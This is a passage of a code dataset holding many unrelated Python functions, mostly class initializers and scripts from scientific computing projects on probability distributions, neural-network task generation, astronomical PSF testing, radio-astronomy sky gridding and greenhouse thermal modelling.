min(limits[g][\\\"xmin\\\"],grp.variables[\\\"ind_bnd\\\"][ 0, 0])\\n limits[g][\\\"xmax\\\"] = max(limits[g][\\\"xmax\\\"],grp.variables[\\\"ind_bnd\\\"][-1,-1])\\n limits[g][\\\"ymin\\\"] = min(limits[g][\\\"ymin\\\"],grp.variables[\\\"dep_bnd\\\"][ 0, 0])\\n limits[g][\\\"ymax\\\"] = max(limits[g][\\\"ymax\\\"],grp.variables[\\\"dep_bnd\\\"][-1,-1])\\n\\n \\n self.limits = limits\",\n \"def __init__(self, config, tdim, batch_size):\\n self.float_type = 'float32' # This should be the default\\n self.config = config\\n self.dt = self.config['dt']\\n\\n self.n_eachring = self.config['n_eachring']\\n self.n_input = self.config['n_input']\\n self.n_output = self.config['n_output']\\n self.pref = np.arange(0,2*np.pi,2*np.pi/self.n_eachring) # preferences\\n\\n self.batch_size = batch_size\\n self.tdim = tdim\\n self.x = np.zeros((tdim, batch_size, self.n_input), dtype=self.float_type)\\n #self.input_loc = list()# add by yichen\\n #self.output_loc = list()# add by yichen\\n #self.distract_loc = list()# add by yichen\\n self.y = np.zeros((tdim, batch_size, self.n_output), dtype=self.float_type)\\n if self.config['loss_type'] == 'lsq':\\n self.y[:,:,:] = 0.05\\n # y_loc is the stimulus location of the output, -1 for fixation, (0,2 pi) for response\\n self.y_loc = -np.ones((tdim, batch_size) , dtype=self.float_type)\\n\\n self._sigma_x = config['sigma_x']*np.sqrt(2/config['alpha'])\",\n \"def __init__(self, gamma=2, alpha=0.25):\\n super(FocalLoss, self).__init__()\\n self.gamma = gamma\\n self.alpha = alpha\\n self.neg_pos_ratio = 7\\n self.use_CrossEntropy = False\",\n \"def assignDefaults(x, y, xmc, ymc, ell, w, ELL, W) :\\n if len(xmc) == 0 :\\n xmc = np.array([(np.min(x) + np.max(x)) / 2])\\n if len(ymc) == 0 :\\n ymc = np.array([(np.min(y) + np.max(y)) / 2])\\n if not ell :\\n ell = (np.max(y) - np.min(y)) / 2\\n if not w :\\n w = (np.max(x) - np.min(x)) / 2\\n if not ELL :\\n ELL = 3 * ell\\n if not W :\\n W = 3 * w\\n \\n return xmc, ymc, ell, w, ELL, W\",\n \"def default_kernel_config(defn):\\n return [('beam', {}),\\n ('hypers',\\n {\\n 'alpha_a': 4.0,\\n 'alpha_b': 2.0,\\n 'gamma_a': 3.0, \\n 'gamma_b': 6.0\\n }\\n )]\",\n \"def __init__(self,x_size=32,y_size=32):\\n\\n self._shape = (x_size,y_size)\\n self._offset = (0,0)\\n self._chain_offset = 0 \\n self._transform_function = None\",\n \"def __init__(self, city_name, experiment_name, sizeX, sizeY,transparency=True):\\n self.sizeX = 400\\n self.sizeY = 400;\",\n \"def __init__(self, config, xtdim, batch_size):\\n self.float_type = 'float32' # This should be the default\\n self.config = config\\n self.dt = self.config['dt']\\n\\n self.n_input = self.config['n_input']\\n self.n_output = self.config['n_output']\\n\\n self.batch_size = batch_size\\n self.xtdim = xtdim\\n\\n # time major\\n self.x = np.zeros((xtdim, batch_size, self.n_input), dtype=self.float_type)\\n self.y = np.zeros((xtdim, batch_size, self.n_output), dtype=self.float_type)\\n self.cost_mask = np.zeros((xtdim, batch_size, self.n_output), dtype=self.float_type)\\n # strength of input noise\\n self._sigma_x = config['sigma_x'] * math.sqrt(2./self.config['alpha'])\\n\\n if config['rule_name'] == 'timed_spatial_reproduction_broad_tuning' \\\\\\n or config['rule_name'] == 'spatial_reproduction_broad_tuning' \\\\\\n or config['rule_name'] == 'spatial_comparison_broad_tuning' \\\\\\n or config['rule_name'] == 'spatial_change_detection_broad_tuning':\\n self.n_guassianline = 32 + 12\\n self.sd_gaussianline = 4.\\n else:\\n self.n_guassianline = 32\\n self.sd_gaussianline = 2.\\n\\n self.pref_line_gaussian = np.arange(0, self.n_guassianline)\",\n \"def __init__(self):\\n super().__init__()\\n self.low = 0.0\\n self.high = 1.0\\n self.alpha = 0.0\\n self.beta = 0.0\\n self.type = 'Beta'\\n self.distType = 'Continuous'\\n self.hasInfiniteBound = True\\n self.compatibleQuadrature.append('Jacobi')\\n self.compatibleQuadrature.append('CDF')\\n self.preferredQuadrature = 'Jacobi'\\n self.preferredPolynomials = 'Jacobi'\",\n \"def __init__(self):\\n self.edge_detection_type = None\\n self.image_size = None\\n self.visualization_dict = None\\n\\n self.clustering_eps = None\\n self.clustering_min_sample = None\\n self.mask_size = None\\n self.n_random_points = None\\n self.kernel_harris_corner_detector = None\\n\\n self.path_output = None\\n self.path_summary = None\\n self.dir_results = None\\n self.dir_result_details = None\\n self.file_name_input_image = None\\n self.file_name_plane_masks = None\\n self.file_name_planercnn_image = None\\n\\n '''\\n Other (not loaded from config file)\\n '''\\n # Color pallet for visualization of masks\\n self.color_pallet = [tuple([int(color[2] * 255), int(color[1] * 255), int(color[0] * 255)]) for color in\\n sns.color_palette(\\\"bright\\\", 10)]\",\n \"def __init__(self, low=0.0, alpha=0.0, beta=1.0):\\n super().__init__()\\n self.low = low\\n self.alpha = alpha\\n self.beta = beta\\n self.type = 'Gamma'\\n self.distType = 'Continuous'\\n self.hasInfiniteBound = True\\n self.compatibleQuadrature.append('Laguerre')\\n self.compatibleQuadrature.append('CDF')\\n self.preferredQuadrature = 'Laguerre'\\n self.preferredPolynomials = 'Laguerre'\",\n \"def __init__(self):\\n super().__init__()\\n self.type = 'UniformDiscrete'\\n self.dimensionality = 1\\n self.distType = 'Discrete'\\n self.memory = True\",\n \"def __init__(self):\\n super().__init__()\\n self.mapping = {}\\n self.values = set()\\n self.type = 'Categorical'\\n self.dimensionality = 1\\n self.distType = 'Discrete'\\n self.isFloat = False\",\n \"def __init__(self, genotypes, sample_pos, node_pos, edges, scale_snps=True): \\n super().__init__(genotypes=genotypes,\\n sample_pos=sample_pos,\\n node_pos=node_pos,\\n edges=edges,\\n scale_snps=scale_snps)\",\n \"def test_model_properties():\\n # Use PSF with the size a function of color.\\n # Note: This test is similar to test_color in test_pixel.py.\\n\\n pixel_scale = 0.3\\n image = galsim.ImageF(1024,1024, scale=pixel_scale)\\n\\n # Draw stars in a grid so we know they don't overlap.\\n x_list = []\\n y_list = []\\n color_list = []\\n np_rng = np.random.RandomState(1234)\\n rng = galsim.UniformDeviate(1234)\\n for x in range(50,1000,100):\\n for y in range(50,1000,100):\\n # color is random between -1 and +1.\\n color = np_rng.uniform(-1,1)\\n # Add a +- 1 pixel offset to nominal position.\\n xcen = x + np_rng.uniform(-1,1)\\n ycen = y + np_rng.uniform(-1,1)\\n T = 1.0 + 0.1 * color # T is linear in color.\\n sigma = np.sqrt(T/2)\\n star = galsim.Gaussian(sigma=sigma, flux=150.)\\n b = galsim.BoundsI(x-16,x+16,y-16,y+16)\\n star.drawImage(image=image[b], center=galsim.PositionD(xcen,ycen))\\n x_list.append(xcen)\\n y_list.append(ycen)\\n color_list.append(color)\\n\\n noise_sigma = 0.1\\n image.addNoise(galsim.GaussianNoise(sigma=noise_sigma, rng=rng))\\n\\n # Write out the image and catalog\\n image_file = os.path.join('output','hsm_color_image.fits')\\n image.write(image_file)\\n dtype = [ ('x','f8'), ('y','f8'), ('color','f8') ]\\n data = np.empty(len(x_list), dtype=dtype)\\n data['x'] = x_list\\n data['y'] = y_list\\n data['color'] = color_list\\n cat_file = os.path.join('output','pixel_color_cat.fits')\\n fitsio.write(cat_file, data, clobber=True)\\n\\n psf_file = os.path.join('output','hsm_color.piff')\\n hsm1_file = os.path.join('output','hsm_color.fits')\\n hsm2_file = os.path.join('output','hsm_color_05.fits')\\n config = {\\n 'input' : {\\n 'image_file_name' : image_file,\\n 'cat_file_name' : cat_file,\\n 'x_col' : 'x',\\n 'y_col' : 'y',\\n 'property_cols' : ['color'],\\n 'noise' : noise_sigma**2,\\n 'stamp_size' : 32,\\n },\\n 'output' : {\\n 'file_name' : psf_file,\\n 'stats': [\\n {\\n 'type': 'HSMCatalog',\\n 'file_name': hsm1_file,\\n },\\n {\\n 'type': 'HSMCatalog',\\n 'file_name': hsm2_file,\\n 'model_properties': {'color' : 0.5},\\n },\\n ],\\n },\\n 'psf' : {\\n 'model' : {\\n 'type' : 'PixelGrid',\\n 'scale' : pixel_scale,\\n 'size' : 15\\n },\\n 'interp' : {\\n 'type' : 'BasisPolynomial',\\n 'order' : [1, 1, 1],\\n 'keys': ['u', 'v', 'color'],\\n },\\n },\\n }\\n if __name__ == '__main__':\\n config['verbose'] = 2\\n else:\\n config['verbose'] = 0\\n\\n piff.piffify(config)\\n hsm1 = fitsio.read(hsm1_file)\\n\\n # This run measures each star at its own color\\n # So there should be no slope in T_data-T_model vs color\\n color = hsm1['color']\\n T_model = hsm1['T_model']\\n T_data = hsm1['T_data']\\n m, b = np.polyfit(color, T_data-T_model, 1)\\n print()\\n print('Not using model_properties:')\\n print('dT vs color: m, b = ',m,b)\\n assert np.abs(m) < 1.e-3\\n assert np.abs(b) < 1.e-3\\n\\n # But the raw data does have a significant slope.\\n m, b = np.polyfit(color, T_data, 1)\\n print('T_data vs color: m, b = ',m,b)\\n assert np.abs(m-0.1) < 1.e-3\\n\\n # Likewise the model (which follows from the above two tests, but check anyway):\\n m, b = np.polyfit(color, T_model, 1)\\n print('T_model vs color: m, b = ',m,b)\\n assert np.abs(m-0.1) < 1.e-3\\n\\n # Check the other output file, which uses model_properties\\n hsm2 = fitsio.read(hsm2_file)\\n color = hsm2['color']\\n T_model = hsm2['T_model']\\n T_data = hsm2['T_data']\\n\\n # Now the model should all have a size close to T(color=0.5)\\n print()\\n print('Using model_properties:')\\n print('T_model = ',np.mean(T_model),' +- ',np.std(T_model))\\n assert np.isclose(np.mean(T_model), 1 + 0.1 * 0.5, rtol=0.02)\\n assert np.std(T_model) < 0.005\\n m, b = np.polyfit(color, T_model, 1)\\n print('T_model vs color: m, b = ',m,b)\\n assert np.abs(m) < 2.e-3\\n\\n # But the data still covers the whole range\\n print('T_data = ',np.mean(T_data),' +- ',np.std(T_data))\\n assert np.isclose(np.mean(T_data), 1, rtol=0.03)\\n assert np.std(T_data) > 0.05\\n m, b = np.polyfit(color, T_data, 1)\\n print('T_data vs color: m, b = ',m,b)\\n assert np.abs(m-0.1) < 2.e-3\\n\\n # Finally, T_data - T_model should show the input slope of 0.1\\n m, b = np.polyfit(color, T_data-T_model, 1)\\n print('dT vs color: m, b = ',m,b)\\n assert np.abs(m-0.1) < 2.e-3\",\n \"def __init__(self):\\n super().__init__()\\n self.dimensionality = 1\\n self.distType = 'Continuous'\",\n \"def __init__(self,in_range,mean,std,npoints=200):\\n x_p = np.linspace(in_range[0],in_range[1],npoints,endpoint=True)\\n y_p = np.zeros(npoints)\\n yc = 0\\n stdinv = 1.0/std\\n stdinvsq = stdinv**2\\n normalc = stdinv*(1.0/np.sqrt(np.pi))\\n for x in x_p:\\n expon = -(x - mean)**2 * (0.5*stdinvsq)\\n y = normalc * np.exp(expon)\\n y_p[yc]=y\\n yc+=1\\n self.x = x_p\\n self.y = y_p\\n self.sigma = std\\n self.mean = mean\\n self._normconst = normalc\\n self.upper = in_range[1]\\n self.lower = in_range[0]\\n self._dx = x_p[1]-x_p[0]\\n self.npoints = npoints\\n return\",\n \"def __init__(self, height, width):\\n # number of keypoint kind\\n self.kpn = 4\\n # max output object in one image\\n self.maxDet = 20\\n # object detect threshold, confidence\\n self.obj_thr = 0.5\\n # peak detect threshold, unit pixel\\n self.peak_thr = 0.5\\n # see threshold\\n self.see_thr = 0.8\\n # peak close threshold, unit pixel\\n self.close_thr = 1.0\\n self.height = height\\n self.width = width\\n # assit array\\n self.x_array = np.tile(np.arange(self.width), (self.height, 1))\\n self.y_array = np.tile(np.arange(self.height).reshape(-1, 1),\\n (1, self.width))\",\n \"def __init__(self, f, xmin, xmax, ymin, ymax, nt, interval, src, p = 1, q = 1.5, R = 50):\\n\\n self.f = f\\n self.xmin = xmin\\n self.xmax = xmax\\n self.ymin = ymin\\n self.ymax = ymax\\n self.nt = nt\\n self.interval = interval\\n self.ds=const.c/(20*f) #spacial stepsize, according to stability criterion\\n self.dt=self.ds/(const.c*math.sqrt(2)) \\n self.nx = int((xmax-xmin)/self.ds) \\n self.ny = int((ymax-ymin)/self.ds)\\n self.p = p\\n self.q = q\\n self.source = Source(self.xmin, self.xmax, self.ymin, self.ymax, self.nx, self.ny)\\n self.actualsource = self.source.src(src)\\n self.R = R\",\n \"def __init__(self):\\n super().__init__()\\n self.dataFilename = None\\n self.functionType = None\\n self.type = 'Custom1D'\\n self.functionID = None\\n self.variableID = None\\n self.dimensionality = 1\\n self.distType = 'Continuous'\\n # Scipy.interpolate.UnivariateSpline is used\\n self.k = 4 # Degree of the smoothing spline, Must be <=5\\n self.s = 0 # Positive smoothing factor used to choose the number of knots\\n # Default 0, indicates spline will interpolate through all data points\",\n \"def set_reg_param(training_data, cv_data, alpha_min, alpha_max):\\r\\n \\r\\n f = open('alpha.txt', 'w')\\r\\n \\r\\n alph = alpha_min\\r\\n min_alpha = alpha_min # This is the value of alpha in our range that gives minimum for cv data\\r\\n alpha_largest = alpha_min # Learning is not generally done at alpha_min, this tracks larget alpha\\r\\n while alph < alpha_max:\\r\\n \\\"\\\"\\\" Learn for this parameter \\\"\\\"\\\"\\r\\n clf = linear_model.Ridge (alpha=alph, fit_intercept=False)\\r\\n clf.fit(training_data.X, training_data.y)\\r\\n \\r\\n \\\"\\\"\\\" Get prediction for this parameter \\\"\\\"\\\"\\r\\n predict_data = clf.predict(training_data.X)\\r\\n predict_cv = clf.predict(cv_data.X)\\r\\n \\r\\n \\\"\\\"\\\" Caculate the differences from actual data for training and cv data\\\"\\\"\\\"\\r\\n diff_training = (1.0/training_data.m) * np.linalg.norm(predict_data - training_data.y)\\r\\n diff_cv = (1.0/cv_data.m) * np.linalg.norm(predict_cv - cv_data.y)\\r\\n \\r\\n \\\"\\\"\\\" Write out the values for plotting. Do appropriate work to determine min_val_alpha \\\"\\\"\\\"\\r\\n f.write(str(alph) + \\\" \\\" + str(diff_training) + \\\" \\\" + str(diff_cv) + \\\"\\\\n\\\")\\r\\n if alph == alpha_min:\\r\\n min_diff = diff_cv # Just setting default value for first value of alph \\r\\n min_alpha = alpha_min\\r\\n if diff_cv < min_diff:\\r\\n \\\"\\\"\\\" We have a new minimum so value and alph must be recored \\\"\\\"\\\"\\r\\n min_diff = diff_cv\\r\\n min_alpha = alph\\r\\n alpha_largest = alph # Keep track of largest alpha used\\r\\n alph = alph * 1.5 # increment alph\\r\\n f.close()\\r\\n \\r\\n \\\"\\\"\\\" Loop is now complete. If min_value_alpha is not alpha_min or alpha_max, return flag of 0\\r\\n else return -1 or 1 so min or max can be adjusted and loop completed again \\\"\\\"\\\"\\r\\n if abs(min_alpha - alpha_min) < alpha_min/10.0:\\r\\n flag = -1 # Local minimum is less than alpha_min so return -1 \\r\\n elif abs(min_alpha - alpha_largest) < alpha_min/10.0:\\r\\n flag = 1 # Local minimum is greater than alpha_max so return 1 \\r\\n else:\\r\\n flag = 0 # Local minimum is in range so return 0 \\r\\n \\r\\n return min_alpha, flag\",\n \"def main():\\n dpi = 1\\n dpi = 2\\n width = int(360)\\n height = int(130)\\n mywidth = int(width*dpi)\\n myheight = int(height*dpi)\\n FWHM = 7.5 # degrees\\n FWHM = 10.0 # degrees\\n FWHM = 5.0 # degrees\\n FWHM = 3.0 # degrees\\n FWHM = 1.0 # degrees\\n weight = 1.\\n\\n nargs = len(sys.argv)\\n if nargs < 2:\\n print('GR: GRid Observations of integrated intensity produced by the T Command')\\n print('GR produces fits images for each of the horns used for the observations.')\\n print('For observations at the same coordinates, the ratios of intensities are also produced.')\\n print('The FITS format files require header information, which is copied from the')\\n print('Cold Load File provided by the user')\\n print('GR RA|GAL <cold file name> <savefile1> [<savefile2> ... <savefileN>]')\\n print(\\\"\\\")\\n print('Glen Langston, National Science Foundation -- 20 May 12')\\n exit()\\n\\n gridtype = sys.argv[1]\\n gridtype = gridtype.upper()\\n print('Grid Type: ', gridtype)\\n\\n # enable having ra going from 24 to 0 hours == 360 to 0 degrees\\n xsign = 1.\\n xoffset = 0.\\n if gridtype == 'RA':\\n xmin = 0.\\n xmax = 360.\\n ymin = -40.\\n ymax = 90.\\n maptype = 'RA'\\n elif gridtype == '-RA':\\n xmin = 0.\\n xmax = 360.\\n ymin = -40.\\n ymax = 90.\\n xsign = -1.\\n xoffset = 360. # when x = 360. should be at zero.\\n maptype = 'RA'\\n elif gridtype == '-EL':\\n xmin = 0.\\n xmax = 360.\\n ymin = 0.\\n ymax = 90.\\n xsign = -1.\\n xoffset = 360. # when x = 360. should be at zero.\\n maptype = 'AZEL'\\n elif gridtype == 'RA0':\\n xmin = 0.\\n xmax = 360.\\n ymin = -41.\\n ymax = 89.\\n xsign = -1.\\n xoffset = 180. # when x = 360. should be at zero.\\n gridtype = 'RA'\\n elif gridtype == 'GAL':\\n xmin = -180.\\n xmax = 180.\\n ymin = -90.\\n ymax = 90.\\n maptype = 'GAL'\\n\\n if gridtype != 'RA' and gridtype != 'GAL' and gridtype != '-RA' and gridtype != \\\"RA0\\\":\\n print('Error parsing grid type: ', gridtype)\\n print('1st argument should be either RA, -RA or GAL')\\n exit()\\n\\n rs = radioastronomy.Spectrum()\\n\\n if doRatio: \\n #create the grid with map parameters\\n grid1 = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\\\\n height=height, dpi=dpi, FWHM=FWHM, \\\\\\n projection=\\\"-CAR\\\", gridtype=maptype)\\n grid2 = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\\\\n height=height, dpi=dpi, FWHM=FWHM, \\\\\\n projection=\\\"-CAR\\\", gridtype=maptype)\\n grid3 = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\\\\n height=height, dpi=dpi, FWHM=FWHM, \\\\\\n projection=\\\"-CAR\\\", gridtype=maptype)\\n grid4 = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\\\\n height=height, dpi=dpi, FWHM=FWHM, \\\\\\n projection=\\\"-CAR\\\", gridtype=maptype)\\n # put each telescope in a different grid\\n grids = [grid1, grid2, grid3, grid4]\\n\\n gridall = GridClass.Grid(xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax, width=width, \\\\\\n height=height, dpi=dpi, FWHM=FWHM, \\\\\\n projection=\\\"-CAR\\\", gridtype=maptype)\\n \\n\\n projection = \\\"-AIT\\\"\\n# coldfile \\n coldfile = sys.argv[2]\\n# get telescope geographic location etc\\n print(\\\"Reading Observing parameters from: %s\\\" % (coldfile))\\n rs.read_spec_ast(coldfile)\\n print(\\\"Observer: %s \\\" % (rs.observer))\\n\\n# first read through all data and find hot load\\n names = sys.argv[3:]\\n names = sorted(names)\\n\\n firsttime = \\\"\\\"\\n lasttime = \\\"\\\"\\n count = 0\\n # setup grid indicies so that cpuIndex goes to the correct grid\\n # This assumes telescopes 2,3,4,5 are being used] \\n gridIndex = [0,0,0,1,2,3]\\n # for all save Files to Grid\\n for filename in names:\\n print(\\\"File: %s\\\" % (filename))\\n f = open(filename)\\n\\n date = \\\"Unknown\\\"\\n while date != \\\"\\\":\\n date, time, cpuIndex, telaz, telel, tSys, tRx, tRms, tint, KperC, tSourcemax, velSource, dV, tVSum, tVSumRms, tSumKmSec, dTSumKmSec, gainFactor = gainfactor.readSaveValues( f)\\n dlen = len(date)\\n if dlen < 1:\\n break\\n if date[0] == \\\"#\\\":\\n continue\\n # else not a comment process the line\\n count = count + 1\\n isodate = \\\"20\\\"+date+\\\"T\\\"+time\\n# print(\\\"DateTime: %s\\\" % (isodate))\\n rs.utc = datetime.datetime.strptime(isodate,\\\"%Y-%m-%dT%H:%M:%S\\\")\\n# print(\\\"Utc: %s\\\" % (rs.utc))\\n rs.telaz = telaz\\n rs.telel = telel\\n rs.azel2radec()\\n\\n ra = rs.ra\\n dec = rs.dec\\n lon = rs.gallon\\n lat = rs.gallat\\n tsum = tSumKmSec\\n tsdv = dTSumKmSec\\n tmax = tSourcemax\\n vave = tVSum\\n vsdv = tVSumRms\\n if firsttime == \\\"\\\":\\n firsttime = date\\n else:\\n lasttime = date\\n\\n# if vave > -100. and vave < 100:\\n# mygrid.convolve( lon, lat, vave, 1.)\\n iGrid = gridIndex[cpuIndex]\\n gainCorr = telescopefactors[iGrid]\\n tsum = tsum * gainCorr\\n if gridtype == 'RA':\\n if doRatio:\\n grids[iGrid].convolve(ra, dec, tsum, weight)\\n gridall.convolve( ra, dec, tsum, weight)\\n elif gridtype == '-RA':\\n x = (ra*xsign) + xoffset\\n if doRatio:\\n grids[iGrid].convolve(x, dec, tsum, weight)\\n gridall.convolve( x, dec, tsum, weight)\\n elif gridtype == 'RA0':\\n x = (ra*xsign) + xoffset\\n if x < 0:\\n x = x + xmax\\n elif x > xmax:\\n x = x - xmax\\n if doRatio:\\n grids[iGrid].convolve(x, dec, tsum, weight)\\n gridall.convolve( x, dec, tsum, weight)\\n else:\\n if doRatio:\\n grids[iGrid].convolve(lon, lat, tsum, weight)\\n gridall.convolve( lon, lat, tsum, weight)\\n\\n if count == 0:\\n print('Convolving Coordinates: ', ra, dec, lon, lat)\\n print('Convolving Intensities: ', tsum, tsdv, vave, vsdv)\\n print('Convolvign Parameters : ', n, time)\\n count = count + 1\\n # end reading all lines in save file\\n f.close()\\n\\n # normalize each of the gridded images\\n if doRatio:\\n grids[0].normalize()\\n grids[1].normalize()\\n grids[2].normalize()\\n grids[3].normalize()\\n gridall.normalize()\\n# mygrid.check()\\n# zmin = -1000.\\n# zmax = 3000.\\n# limit grid intensities for plotting\\n# mygrid.set_ij( 0, 0, zmax, 1.)\\n# mygrid.set_ij( 1, 1, zmin, 1.)\\n# mygrid.limit(zmin, zmax)\\n\\n subplots = False\\n\\n if subplots:\\n fig, ax = plt.subplots(figsize=(myheight, mywidth), dpi=dpi)\\n\\n if gridtype == 'RA':\\n cax = fig.add_axes([-180, 180], [-90, 90])\\n else:\\n cax = fig.add_axes([0, 24], [-90, 90])\\n\\n cbar = fig.colorbar(cax, ticks=[zmin, zmax], orientation='horizontal')\\n cbar.ax.set_yticklabels([str(zmin), str(zmax)])\\n\\n ax.set_title(\\\"Citizen Science: Horn observations of our Galaxy\\\")\\n else:\\n#y_ticks = ymin + (ymax-ymin)*ticks/myheight\\n\\n ticks = np.arange(0, mywidth, 30*dpi)\\n x_ticks = xmin + ((xmax-xmin)*ticks/mywidth)\\n\\n plt.imshow(gridall.image, interpolation='nearest', cmap=plt.get_cmap('jet'))\\n\\n if firsttime != lasttime:\\n plt.title(\\\"Citizen Science: Observing our Galaxy: %s to %s\\\" % (firsttime, lasttime))\\n else:\\n plt.title(\\\"Citizen Science: Observing our Galaxy: %s\\\" % (firsttime))\\n if gridtype == 'RA':\\n plt.xlabel(\\\"Right Ascension (hours)\\\")\\n plt.ylabel(\\\"Declination (degrees)\\\")\\n labels = ticks/(mywidth/24)\\n yticks = np.arange(0, myheight, 15*dpi)\\n elif gridtype == '-RA':\\n plt.xlabel(\\\"Right Ascension (hours)\\\")\\n plt.ylabel(\\\"Declination (degrees)\\\")\\n labels = 24 - (ticks/(mywidth/24))\\n labels[0] = 0\\n labels[0] = 24\\n yticks = np.arange(0, myheight, 15*dpi)\\n elif gridtype == '-EL':\\n plt.xlabel(\\\"Right Ascension (hours)\\\")\\n plt.ylabel(\\\"Elevation (degrees)\\\")\\n labels = 24 - (ticks/(mywidth/24))\\n labels[0] = 0\\n labels[0] = 24\\n yticks = np.arange(0, myheight, 15*dpi)\\n elif gridtype == 'RA0': # put 0 hours in middle of plot\\n plt.xlabel(\\\"Right Ascension (hours)\\\")\\n plt.ylabel(\\\"Declination (degrees)\\\")\\n labels = 12 - (ticks/(mywidth/24))\\n nlabels = len(labels)\\n for iii in range(nlabels):\\n if labels[iii] < 0:\\n labels[iii] = 24 + labels[iii]\\n if labels[iii] == 24:\\n labels[iii] = 0\\n yticks = np.arange(0, myheight, 15*dpi)\\n else:\\n yticks = np.arange(0, myheight, 30*dpi)\\n ticks = np.arange(0, mywidth, 30*dpi)\\n x_ticks = xmin + (xmax-xmin)*ticks/mywidth\\n labels = x_ticks\\n plt.xlabel(\\\"Galactic Longitude (degrees)\\\")\\n plt.ylabel(\\\"Galactic Latitude (degrees)\\\")\\n # wnat an integer list of labels\\n# slabels = str(labels)\\n print(ticks, labels)\\n y_ticks = ymax - (ymax-ymin)*yticks/myheight\\n plt.yticks(yticks, y_ticks)\\n plt.xticks(ticks, labels, rotation='horizontal')\\n plt.colorbar()\\n\\n crval2 = (xmin + xmax)/2.\\n crval1 = (ymin + ymax)/2.\\n cdelt1 = (-1./float(dpi)) - .001\\n cdelt2 = (1./float(dpi)) + .001\\n if doRatio:\\n# now show eacsh of the images\\n for iGrid in range(4):\\n imagetemp = copy.deepcopy(grids[iGrid].image)\\n imagetemp2 = copy.deepcopy(grids[iGrid].image)\\n kkk = myheight - 1\\n for jjj in range(myheight):\\n imagetemp[:][kkk] = imagetemp2[:][jjj]\\n kkk = kkk - 1\\n grids[iGrid].image = imagetemp\\n writeFitsImage( rs, iGrid+2, grids[iGrid], projection)\\n\\n # put each telescope in a different grid\\n ratio1 = copy.deepcopy(grid1)\\n ratio2 = copy.deepcopy(grid1)\\n ratio3 = copy.deepcopy(grid1)\\n gratios = [ratio1, ratio2, ratio3]\\n ratios = np.zeros(3)\\n rmss = np.zeros(3)\\n\\n jGrid = 3\\n for iGrid in range(3):\\n print(\\\"Gain Ratios for Telescopes T%d and T%d\\\" % (iGrid+2, jGrid+2))\\n ratio, rms, aratio = gridratio(grids[iGrid], grids[jGrid])\\n ratios[iGrid] = ratio\\n rmss[iGrid] = rms\\n writeFitsImage( rs, iGrid+2, aratio, projection)\\n \\n writeFitsImage( rs, 0, gridall, projection)\\n plt.show()\",\n \"def __init__(self, calcGrad, calcCost, input, alpha = 0.01):\\n \\n\\tVisualizer.__init__(self, calcGrad, calcCost, input)\\n\\n\\tself.alpha = alpha\",\n \"def __init__(self, gridsize = (11,11), startPrey = (0,0), startPredator = (5,5)):\\n\\t\\tself.predator = startPredator;\\n\\t\\tself.prey = startPrey;\\n\\t\\tself.gridsize = gridsize;\",\n \"def __init__(self, alpha, beta, gamma, discount_factors, y_scale,\\n unrestricted_weights=None, discounting=None, warmglow_type=\\\"constant\\\"):\\n self.attr = dict()\\n self.attr['y_scale'] = y_scale # weight on utility from charity euro\\n self.attr['alpha'] = alpha # warm glow parameter\\n self.attr['gamma'] = gamma # correlation aversion\\n self.attr['beta'] = beta # risk aversion for self and charity euro\\n self.attr[\\\"warmglow_type\\\"] = warmglow_type\\n\\n np.testing.assert_equal(warmglow_type in [\\\"constant\\\", \\\"linear\\\"], True)\\n\\n if discounting is not None:\\n # Implement exponential discounting or hyperbolic discounting\\n np.testing.assert_equal(discounting in ['exponential', 'hyperbolic'], True)\\n\\n if discounting in ['hyperbolic']:\\n df_beta = discount_factors[0]\\n df_delta = discount_factors[1]\\n\\n new_dfx = {\\n t: (df_beta * df_delta ** t if t > 0.0 else 1) for t in discount_factors.keys()\\n }\\n elif discounting in ['exponential']:\\n df_delta = discount_factors[0]\\n new_dfx = {t: (df_delta ** t if t > 0.0 else 1) for t in discount_factors.keys()}\\n self.attr['discount_factors'] = new_dfx\\n else:\\n # Implement nonparametric discounting.\\n self.attr['discount_factors'] = discount_factors\\n\\n # Optional argument: nonparametric weight on y_t in the CES function.\\n if unrestricted_weights is None:\\n df = self.attr['discount_factors']\\n y_weights = {t: y_scale for t, d_t in df.items()}\\n self.attr['y_weights'] = y_weights\\n else:\\n # Nonparametric weight: no g() function applied in this case.\\n self.attr['y_weights'] = unrestricted_weights\\n\\n self._check_attributes_warmglow = partial(check_attributes_warmglow, self)\\n self._check_attributes_warmglow()\",\n \"def scale(self):\",\n \"def __init__(self, folder):\\n print \\\"folder passed is \\\", folder\\n self.folder = folder\\n self.geometry = gf.geometry(self.folder)\\n self.elements = gf.dictionary_set()\\n self.area = np.zeros(shape = (8))\\n self.Vol = (self.geometry.properties['span_number']*(self.geometry.properties['span_width']*\\n self.geometry.properties['span_height'] + self.geometry.properties['cover_height']\\n *self.geometry.properties['span_width']/2))\\n self.F = np.zeros(shape = (8, 8))\\n of.view_factor(self.geometry, self.F, self.area, self.Vol)\\n tran = [self.geometry.properties['tra_cover_out'],0.0,0.0,\\n self.geometry.properties['tra_sidewall_out'],\\n self.geometry.properties['tra_cover_in'],\\n self.geometry.properties['tra_sidewall_in'],0.0,0.0]\\n emi = [self.geometry.properties['emi_cover_out'],1.0,1.0,\\n self.geometry.properties['emi_sidewall_out'],\\n self.geometry.properties['emi_cover_in'],\\n self.geometry.properties['emi_sidewall_in'],1.0,1.0] \\n self.tr, self.em, self.re = of.optictal_prop(tran,emi)\\n if ((self.tr + self.em).any() > 1.0):\\n print \\\"error in optical properties\\\"\\n self.T = np.zeros(shape = (2,10))\\n self.RH = np.zeros(shape = (2,10))\\n # 8 inside,9 outside \\n self.qcond = np.zeros(shape = (2,8))\\n self.qconv = np.zeros(shape = (2,8))\\n self.qrad = np.zeros(shape = (2,8))\\n self.j = np.zeros(shape = (2,8))\\n self.g = np.zeros(shape = (2,8))\\n self.alpha = np.zeros(shape = (2,8))\\n deltaT = 300\\n RH_in = 0.6\\n fg.set_initial_conditions(self.geometry.properties['t_air_inside'],\\n 278,\\n RH_in,self.T,self.RH , self.geometry.properties['t_air'],self.g,\\n self.geometry.properties['sky_temp'])\\n self.T, self.j, self.g, self.alpha, self.qrad, self.qconv = fg.solver_T(self.T,self.qrad,self.qconv,self.alpha,self.j,self.g,self.em,self.tr,\\n self.geometry.properties['wind_speed'],\\n 